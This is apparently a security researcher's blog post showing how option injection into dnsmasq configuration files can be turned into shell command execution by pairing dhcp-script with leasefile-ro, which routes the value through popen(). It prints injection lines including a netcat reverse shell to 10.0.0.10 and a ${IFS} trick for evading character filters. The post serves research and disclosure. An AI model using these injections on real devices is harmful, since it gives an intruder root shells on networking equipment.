Bypassing dnsmasq dhcp-script limitations for command execution in config injection attacks

When researching networking devices, I frequently encounter a particular vulnerability: the ability to inject arbitrary options into dnsmasq's config files. These devices often delegate functionality to dnsmasq, and when they allow users to set configuration options, they might perform basic templating to generate configuration files that are then fed to dnsmasq. If the device fails to properly encode user input, it may allow users to insert newline characters and inject arbitrary options into the config file.

There are several ways an attacker can exploit this vulnerability.

The best option is simply using the conf-script config option. The string specified with this option is executed directly using a shell, so a regular command payload works fine here. However, this option was only added in dnsmasq version 2.87, which was released near the end of 2022. As is often the case with software included in networking devices, I more frequently find older versions of dnsmasq that lack the conf-script option entirely.

Another technique involves using the dhcp-script option. From the documentation:

-6 --dhcp-script=<path>

Whenever a new DHCP lease is created, or an old one destroyed, or a TFTP file transfer completes, the executable specified by this option is run. <path> must be an absolute pathname, no PATH search occurs.

By injecting the following line into the config file:

dhcp-script=/tmp/evil.sh

... an attacker could run that script as root (unless dhcp-scriptuser is set to something other than root).

The documentation already tells us that the executable file must be specified with a full path and that no PATH search occurs. Looking at how the executable is called in dnsmasq's source code, we can see that it uses execl():

  p =  strrchr(daemon->lease_change_command, '/');
  if (err == 0)
{
  execl(daemon->lease_change_command, 
  p ? p+1 : daemon->lease_change_command, action_str, 
  (is6 && data.action != ACTION_ARP) ? daemon->packet : daemon->dhcp_buff, 
  daemon->addrbuff, hostname, (char*)NULL);
  err = errno;
}

This significantly limits an attacker's options:

  1. The script must exist somewhere in the filesystem
  2. The script must be set as executable
  3. No arguments can be passed to the script
  4. No shell interpretation occurs

If dnsmasq happens to be built with Lua support (and that's a pretty big if), the dhcp-luascript option can bypass the requirement for the script to be executable, but the other limitations still apply.

So it would appear that if an attacker is constrained by any of those limitations, dhcp-script cannot be used to execute code.

Or can it?

As it turns out, there's an alternative code path in dnsmasq where the dhcp-script value is executed. By inspecting the code, we can see that this alternative path uses popen():

void lease_init(time_t now)
{
  FILE *leasestream;

  if (option_bool(OPT_LEASE_RO))
    {
      /* run "<lease_change_script> init" once to get the
     initial state of the database. If leasefile-ro is
     set without a script, we just do without any
     lease database. */
#ifdef HAVE_SCRIPT
      if (daemon->lease_change_command)
    {
      strcpy(daemon->dhcp_buff, daemon->lease_change_command);
      strcat(daemon->dhcp_buff, " init");
      leasestream = popen(daemon->dhcp_buff, "r");
    }

When OPT_LEASE_RO is set, the string in dhcp-script is passed to popen() whenever the lease file is initialized. As you may already know, popen() invokes the shell to execute commands:

The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh using the -c flag; interpretation, if any, is performed by the shell.

This is perfect for an attacker because it bypasses all the limitations mentioned above. The attacker doesn't even need to drop a malicious script on disk; they can simply execute any command as they would in a shell.

OPT_LEASE_RO corresponds to the leasefile-ro config option. The documentation for this option contains an obscure statement about the script being called differently:

Change the way the lease-change script (if one is provided) is called, so that the lease database may be maintained in external storage by the script.

... but it's unclear to me whether this refers to the fact that it's called using popen() or something else entirely.

In short, injecting something like this on its own doesn't accomplish much:

dhcp-script=nc 10.0.0.10 1337 -e sh

But by also injecting leasefile-ro:

dhcp-script=nc 10.0.0.10 1337 -e sh||
leasefile-ro

... and then restarting the dnsmasq daemon or reloading the config, the shell command in dhcp-script will execute automatically as the "lease database" is initialized. Note that I used || here since dnsmasq also appends the string init to the command, which might cause issues depending on what command is being executed.

Since shell interpretation also occurs, this technique can even be used to bypass characters that the device doesn't allow, such as using ${IFS} in place of spaces.

Rasmus Moorats

Author | Rasmus Moorats

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, embedded devices, and Linux.